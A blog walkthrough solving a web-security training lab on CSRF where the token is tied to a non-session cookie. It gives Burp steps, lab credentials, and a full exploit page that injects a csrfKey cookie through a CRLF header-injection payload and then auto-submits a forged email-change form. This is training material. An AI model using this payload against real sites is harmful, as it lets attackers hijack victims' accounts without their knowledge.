14.9 Lab: CSRF where token is tied to non-session cookie

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address | Karthikeyan Nagaraj

Karthikeyan Nagaraj
2 min read2 days ago

Description

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter
  • carlos:montoya

Solution

  1. Open Burp’s browser and log in to your account. Submit the “Update email” form, and find the resulting request in your Proxy history.
  2. Send the request to Burp Repeater.
  3. Open a private/incognito browser window, log in to your other account(carlos), right click and choose view page source, find the csrf token and take note of it.
  4. Click f12 or inspect option, navigate to storage, cookies and take note of csrf key.
  5. Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab, ensuring that you include your CSRF token. The exploit should be created from the email change request.
  6. Remove the auto-submit <script> block, and instead add the following code to inject the cookie:
    <img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
  7. Change the email address in your exploit so that it doesn’t match your own.
  8. The final code should look like the below
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test&#64;test&#46;com" />
<input type="hidden" name="csrf" value="CARLOS-CSRF-TOKEN-FETCHED-FROM-PAGE-SOURCE" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=CARLOS-CSRF-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

9. Store the exploit, then click “Deliver to victim” to solve the lab.

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer